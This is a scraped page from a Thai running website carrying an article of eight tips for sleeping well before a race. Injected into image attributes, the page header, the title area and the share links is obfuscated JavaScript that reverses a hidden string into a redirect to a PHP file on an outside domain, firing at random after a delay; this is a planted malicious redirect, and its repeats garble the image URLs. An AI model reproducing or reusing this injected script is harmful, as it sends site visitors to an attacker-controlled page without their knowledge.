andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-gorn-471463-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2018/05/alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-gorn-471463-unsplash.jpg","width":1199,"height":698,"caption":"นอนหลับก่อนวันเเข่ง"},{"@type":"WebPage","@id":"https://www.stepextra.com/8-ways-for-improving-pre-race-sleep/#webpage","url":"https://www.stepextra.com/8-ways-for-improving-pre-race-sleep/","name":"8 วิธีช่วยสะกดจิต นอนหลับก่อนวันเเข่ง - STEP EXTRA","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/8-ways-for-improving-pre-race-sleep/#primaryimage"},"datePublished":"2018-05-15T15:08:18+00:00","dateModified":"2018-05-16T03:25:55+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"description":"อาการนอนไม่หลับพลิกตัวไปมาของนักวิ่งก่อนการแข่งขันเป็นเรื่องปกติที่เกิดขึ้นได้กับทุกคน การขาดการนอนหลับพักผ่อนย่อยส่งผลต่อ Performance ของการวิ่งแน่นอน แต่ที่แย่กว่าการนอนไม่หลับคืออาการเครียดที่จะทำให้การวิ่งของเราไม่สนุกขาดแรงใจตั้งหาก เรามาดูวิธีการเอาชนะใจตัวเองและการวางแผนเตรียมตัว นอนหลับก่อนวันเเข่ง กัน...","breadcrumb":{"@id":"https://www.stepextra.com/8-ways-for-improving-pre-race-sleep/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/8-ways-for-improving-pre-race-sleep/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/8-ways-for-improving-pre-race-sleep/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"Pre-Race Tip: ยืนหน้าเส้นสตาร์ทอย่างสดใสต้องทำอย่างไร 8 วิธีช่วยสะกดจิต นอนหลับก่อนวันเเข่ง"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

Pre-Race Tip: ยืนหน้าเส้นสตาร์ทอย่างสดใสต้องทำอย่างไร 8 วิธีช่วยสะกดจิต นอนหลับก่อนวันเเข่ง

kan by kan
16 May 2018
in Healthy Tips, Running Tips, Tips & Technics, Training
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-gorn-471463-unsplash.jpg">
นอนหลับก่อนวันเเข่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-gorn-471463-unsplash.jpg&description=Pre-Race+Tip%3A+%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%AA%E0%B9%89%E0%B8%99%E0%B8%AA%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%97%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%AA%E0%B8%94%E0%B9%83%E0%B8%AA%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%97%E0%B8%B3%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3+8+%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B8%8A%E0%B9%88%E0%B8%A7%E0%B8%A2%E0%B8%AA%E0%B8%B0%E0%B8%81%E0%B8%94%E0%B8%88%E0%B8%B4%E0%B8%95+%E0%B8%99%E0%B8%AD%E0%B8%99%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%9A%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B9%80%E0%B8%82%E0%B9%88%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">

“พรุ่งนี้จะแข่งแล้วนอนไม่หลับเลย จะเอาแรงไหนไปวิ่งละนี้” อาการนอนไม่หลับพลิกตัวไปมาของนักวิ่งก่อนการแข่งขันเป็นเรื่องปกติที่เกิดขึ้นได้กับทุกคน ไม่ว่าจะเป็นการลงแข่งขันวิ่งระยะ 10 กิโลเมตรแรกหรือจนไปถึงวิ่งมาราธอนแรกก็ตาม การขาดการนอนหลับพักผ่อนย่อยส่งผลต่อ Performance ของการวิ่งแน่นอน แต่ที่แย่กว่าการนอนไม่หลับคืออาการเครียดที่จะทำให้การวิ่งของเราไม่สนุกขาดแรงใจตั้งหาก เรามาดูวิธีการเอาชนะใจตัวเองและการวางแผนเตรียมตัว นอนหลับก่อนวันเเข่ง กัน…

Pre-Race Tip: ยืนหน้าเส้นสตาร์ทอย่างสดใสต้องทำอย่างไร 8 วิธีช่วยสะกดจิต นอนหลับก่อนวันเเข่ง

ช่วงหนึ่งสัปดาห์ก่อนการแข่งขัน

  1. ให้ถึงว่าเป็นช่วงสัปดาห์แห่งความสุข ลดการออกกำลังกายให้น้อยลง ดูแลเรื่องอาหารการกินให้ดีและที่สำคัญ เข้านอนให้เร็วเพราะเราจะเพิ่มชั่วโมงนอนหลับพักผ่อนอีกคืนละ 1-2 ชั่วโมง ถือว่าตอนนี้เรากำลังตุนชั่วโมงนอนไว้ให้มากที่สุด ห้ามนอนดึก เพราะจะทำให้เกิด sleep deprivation เป็นการสะสมความเหนื่อยล้าและไม่เป็นผลดีต่อ performance และสร้างความเครียดได้
  2. ต้องสร้างบรรยากาศห้องนอนให้เงียบสงบ เปิดแอร์ให้เย็นสบาย ว่างโทรศัพท์ไว้ไกลตัวและเปิดโหมดห้ามรบกวนไว้ คอมพิวเตอร์ก็ต้องปิดเครื่องให้เร็วขึ้นอีก 1 ชั่วโมง เน้นเป็นการอ่านหนังสือแทนเพราะจะช่วยลดสิ่งเร้าออกไปได้ดี

 นอนหลับก่อนวันเเข่ง

ช่วงวันก่อนการแข่งขัน

  1. จัดเตรียมอุปกรณ์ก่อนการแข่งขันให้เรียบร้อย เริ่มตั้งแต่การจัดชุดวิ่ง เสื้อรองเท้า อาหารและเจลให้พลังงาน วางไว้ให้เรียบร้อยพร้อมหยิบใส่ได้ทันที นอกจากนี้อย่าลืมติด BIB ไว้บนเสื้อเลยก็ได้
  2. ทดลองทำกระดาษ Checklist เพราะจะช่วยสร้างความมั่นใจและลดการทำงานซ้ำซ้อน รู้หรือไม่ว่าการเขียนจะให้ผลทางจิตใจอย่างดี เราไม่สามารถจำทุกอย่างได้หมด การเขียนลงกระดาษจะช่วยเป็นการดับเบิ้ลเช็ค เราไม่ต้องพะวงว่า “มันต้องขาดอะไรสักอย่าง” เพราะรายละเอียดมีให้เราเห็น แถมการเขียนจะช่วยเปิดโอกาสในการบรรจุเพิ่มไอเดียได้อีก
  3. กำหนดลมปราณก่อนการเข้านอน หรือการทำสมาธิกำหนดลมหายใจเข้าออก การทำสมาธิจะช่วยลดอัตราการเต้นของหัวใจ ฝึกหายใจโดยการใช้กระบังลมหรือ Belly Breathing เป็นการหายใจลึกที่สามารถดึงออกซิเจนเข้าปอดได้เยอะและมีประสิทธิภาพที่สุด หายใจเข้าออกทั้งทางจมูกและปาก เพื่อให้ร่างกายผ่อนคลายมีสมาธิลดความตื้นเต้น
  4. สร้างจินตนาการในสมอง ขั้นตอนต่อไปหลังจากควบคุมการหายใจให้มีสมาธิแล้วคือการสร้างจินตนาการลำดับขึ้นต่อการเข้าสู่สนามวิ่งแข่งขันของนักวิ่ง ตั้งแต่ตื่นนอน ล้างหน้า กินข้าว เดินทางสู่เส้นสตาร์ทและการวอร์มอัพ ไว้เป็นลำดับ จินตนาการความรู้สึกกิโลเมตรสุดท้ายที่ยากเย็นและการเข้าสู่เส้นชัย ให้ความรู้สึกแห่งความยินดีการเฉลิมฉลองมาเป็นกำลังใจหรือ Position Energy ให้กับตัวเอง เอาชนะความรู้สึกกลัวขณะต้องวิ่งต่อสู้กับระยะทาง
  5. ต้องมีแผนสำรอง นอกจากจะจินตนาการในด้านดีแล้ว ก็อย่าลืมสร้างสถานการณ์การเกิดเหตุสุดวิสัยไว้ด้วย เพราะเราจะมีแผนไว้รับมือมีลำดับขั้นตอนในการแก้ไขไว้ล่วงหน้า จะไม่ต้อง Panic เวลาแข่งจริง สร้างความสบายใจให้กับจิต ตัวอย่างเช่น ถ้ากลัวแรงวิ่งจะไม่ถึงเส้นชัยจะทำอย่างไร…ลดความเร็วลง เกาะกลุ่ม Pacer ที่วิ่งต่ำกว่าเวลาที่เราต้องการ ประหยัดแรงไว้ ถ้าหิวน้ำและน้ำหมด ต้องทำอย่างไร…พกขวดน้ำไปด้วยดีไหม ถ้าบาดเจ็บขาเป็นตะคริวต้องทำอย่างไร…ถ้าเริ่มมีอาการให้ชะลอความเร็วลง เดิน พักดื่มน้ำและจิบเกลือแร่ ถ้าไม่หายดีก็เข้าหาหน่วยพยาบาล เป็นต้น นักวิ่งต้องหาทางหนีที่ไล่ไว้เสมอ ต้องดูแลตัวเองเป็นอย่างแรก อย่าหวังว่าเจ้าหน้าที่ดูแลตัวเองได้ 100% เพราะในวันแข่งขันมีคนวิ่งเป็นพันๆ ความช่วยเหลืออาจไม่ทั่วถึง
  6. คิดถึงความตั้งใจในการวิ่งแข่งขันตอนแรกเข้าไว้ อาการเครียดคิดมากเป็นเรื่องปกติที่เกิดกับนักวิ่งทุกคน ตั้งแต่คนเริ่มวิ่ง 10 กิโลเมตร วิ่งฮาร์ฟครั้งแรกหรือมาราธอนแรก อาการสะสมความเครียดเป็นตัวบันทอนจิตทำให้ไม่สามารถนอนหลับ แต่นักวิ่งทุกคนมีหน้าที่ที่ต้องพาตัวเองออกนอก Comfort Zone คิดถึงเป้าหมายปณิธานอันแรงกล้าของตัวเองที่พามาถึงจุดนี้ คิดถึงการฝึกซ้อมอันหนักหน่วงที่ผ่านมา การแข่งขันพรุ่งนี้คือการเฉลิมฉลอง ไม่ใช้วันทดสอบ ต้องสนุกไม่ใช้ไปเครียด คิดถึงบรรยากาศและเผลอๆ เราจะได้ New PB ก็ได้ตามสามารถทำได้ตามแผน

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andian-615599-unsplash.jpg” alt=”ทำยังไงให้หลับก่อนวันแข่ง” width=”1200″ height=”823″ />

ข้อควรรู้ บางครั้งการทำตามแผนนี้ก็ไม่อาจจะทำให้คุณนอนหลับได้ทันทีหรือหลับได้สนิทเหมือนวันธรรมดา แต่จะช่วยลดอาการตื่นกลัวและลดความเครียดลงได้ จิตใจที่เข้มแข็งและแรงบันดาลใจ แรงจูงใจจะเป็นผู้เล่นที่สำคัญในการช่วยให้คุณวิ่งเข้าสู่เส้นชัย แต่ไม่ทั้งหมดนะ…การฝึกซ้อมที่คุณทำมาก็เป็นตัวที่สำคัญไม่แพ้จิตใจ กรุณาอย่าใช้ใจวิ่งซะอย่างเดียว

 

อ้างอิง www.runnersworld.com

 

 

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-gorn-471463-unsplash.jpg&description=Pre-Race+Tip%3A+%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%AA%E0%B9%89%E0%B8%99%E0%B8%AA%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%97%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%AA%E0%B8%94%E0%B9%83%E0%B8%AA%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%97%E0%B8%B3%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3+8+%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B8%8A%E0%B9%88%E0%B8%A7%E0%B8%A2%E0%B8%AA%E0%B8%B0%E0%B8%81%E0%B8%94%E0%B8%88%E0%B8%B4%E0%B8%95+%E0%B8%99%E0%B8%AD%E0%B8%99%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%9A%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B9%80%E0%B8%82%E0%B9%88%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.